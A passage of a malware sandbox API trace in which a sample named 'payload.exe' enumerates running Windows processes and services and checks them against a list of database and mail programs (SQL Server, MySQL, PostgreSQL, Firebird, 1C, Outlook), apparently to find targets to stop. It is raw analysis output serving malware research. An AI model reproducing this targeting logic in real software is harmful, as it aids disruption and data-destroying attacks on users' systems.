lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x484, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0094.832] lstrlenW (lpString="spoolsv.exe") returned 11 [0094.832] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0094.832] lstrlenW (lpString="taskhost.exe") returned 12 [0094.832] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0094.832] lstrlenW (lpString="svchost.exe") returned 11 [0094.832] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x460, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0094.833] lstrlenW (lpString="payload.exe") returned 11 [0094.833] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0094.833] lstrlenW (lpString="reader_sl.exe") returned 13 [0094.833] Process32NextW (in: hSnapshot=0x3b0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x558, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0094.833] CloseHandle (hObject=0x3b0) returned 1 [0094.833] Sleep (dwMilliseconds=0x1f4) [0095.473] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3ab7120 [0095.473] EnumServicesStatusExW (in: hSCManager=0x3ab7120, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 0 [0095.473] GetLastError () returned 0xea [0095.473] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xef8) returned 0x4089028 [0095.474] EnumServicesStatusExW (in: hSCManager=0x3ab7120, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4089028, cbBufSize=0xef8, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4089028, pcbBytesNeeded=0x21dff44, lpServicesReturned=0x21dff5c, lpResumeHandle=0x0) returned 1 [0095.474] CloseServiceHandle (hSCObject=0x3ab7120) returned 1 [0095.474] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0095.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0095.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0095.474] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0095.474] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0095.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0095.474] lstrlenW (lpString="AudioSrv") returned 8 [0095.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0095.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0095.474] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0095.474] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0095.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0095.474] lstrlenW (lpString="BFE") returned 3 [0095.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0095.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0095.474] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0095.474] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0095.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0095.474] lstrlenW (lpString="CryptSvc") returned 8 [0095.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0095.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0095.474] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0095.474] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0095.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0095.474] lstrlenW (lpString="CscService") returned 10 [0095.474] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0095.474] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0095.474] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0095.474] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0095.474] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0095.474] lstrlenW (lpString="DcomLaunch") returned 10 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0095.475] lstrlenW (lpString="Dhcp") returned 4 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0095.475] lstrlenW (lpString="Dnscache") returned 8 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0095.475] lstrlenW (lpString="DPS") returned 3 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0095.475] lstrlenW (lpString="eventlog") returned 8 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0095.475] lstrlenW (lpString="EventSystem") returned 11 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0095.475] lstrlenW (lpString="gpsvc") returned 5 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0095.475] lstrlenW (lpString="iphlpsvc") returned 8 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0095.475] lstrlenW (lpString="LanmanServer") returned 12 [0095.475] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0095.475] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0095.475] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0095.475] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0095.475] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0095.475] lstrlenW (lpString="LanmanWorkstation") returned 17 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0095.476] lstrlenW (lpString="lmhosts") returned 7 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0095.476] lstrlenW (lpString="MMCSS") returned 5 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0095.476] lstrlenW (lpString="MpsSvc") returned 6 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0095.476] lstrlenW (lpString="netprofm") returned 8 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0095.476] lstrlenW (lpString="NlaSvc") returned 6 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0095.476] lstrlenW (lpString="nsi") returned 3 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0095.476] lstrlenW (lpString="PcaSvc") returned 6 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0095.476] lstrlenW (lpString="PlugPlay") returned 8 [0095.476] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0095.476] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0095.476] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0095.476] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0095.476] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0095.477] lstrlenW (lpString="Power") returned 5 [0095.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0095.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0095.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0095.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0095.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0095.477] lstrlenW (lpString="ProfSvc") returned 7 [0095.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0095.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0095.477] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0095.477] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0095.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0095.477] lstrlenW (lpString="RpcEptMapper") returned 12 [0095.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0095.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0095.477] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0095.477] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0095.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0095.477] lstrlenW (lpString="RpcSs") returned 5 [0095.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0095.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0095.477] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0095.477] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0095.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0095.477] lstrlenW (lpString="SamSs") returned 5 [0095.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0095.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0095.477] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0095.477] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0095.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0095.477] lstrlenW (lpString="Schedule") returned 8 [0095.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0095.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0095.477] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0095.477] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0095.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0095.477] lstrlenW (lpString="SENS") returned 4 [0095.477] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0095.477] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0095.477] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0095.477] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0095.477] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0095.477] lstrlenW (lpString="ShellHWDetection") returned 16 [0095.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0095.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0095.478] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0095.478] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0095.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0095.478] lstrlenW (lpString="Spooler") returned 7 [0095.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0095.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0095.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0095.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0095.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0095.478] lstrlenW (lpString="SysMain") returned 7 [0095.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0095.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0095.478] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0095.478] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0095.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0095.478] lstrlenW (lpString="Themes") returned 6 [0095.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0095.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0095.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0095.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0095.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0095.478] lstrlenW (lpString="TrkWks") returned 6 [0095.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0095.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0095.478] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0095.478] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0095.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0095.478] lstrlenW (lpString="UxSms") returned 5 [0095.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0095.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0095.478] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0095.478] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0095.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0095.478] lstrlenW (lpString="Winmgmt") returned 7 [0095.478] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0095.478] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0095.478] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0095.478] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0095.478] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0095.478] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4089028 | out: hHeap=0x4f0000) returned 1 [0095.479] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0095.480] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0095.480] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0095.480] lstrlenW (lpString="System") returned 6 [0095.480] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0095.480] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0095.481] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0095.481] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0095.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0095.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0095.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0095.481] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0095.481] lstrlenW (lpString="smss.exe") returned 8 [0095.481] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0095.481] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0095.481] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0095.481] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0095.481] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0095.481] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0095.481] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0095.481] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0095.482] lstrlenW (lpString="csrss.exe") returned 9 [0095.482] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0095.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0095.482] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0095.482] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0095.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0095.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0095.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0095.482] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0095.482] lstrlenW (lpString="wininit.exe") returned 11 [0095.482] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0095.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0095.482] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0095.482] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0095.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0095.482] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0095.482] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0095.482] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0095.482] lstrlenW (lpString="csrss.exe") returned 9 [0095.482] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0095.482] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0095.482] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0095.482] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0095.482] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0095.483] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0095.483] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0095.483] Process32NextW (in: hSnapshot=0x3a0, lppe=0x21dfd34 | out: lppe=0x21dfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0095.483] lstrlenW (lpString="winlogon.exe") returned 12 [0095.483] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0095.483] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0095.483] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0095.483] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0095.483] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0095.483] lstrcmpiW (lpString1="mysqld.exe", 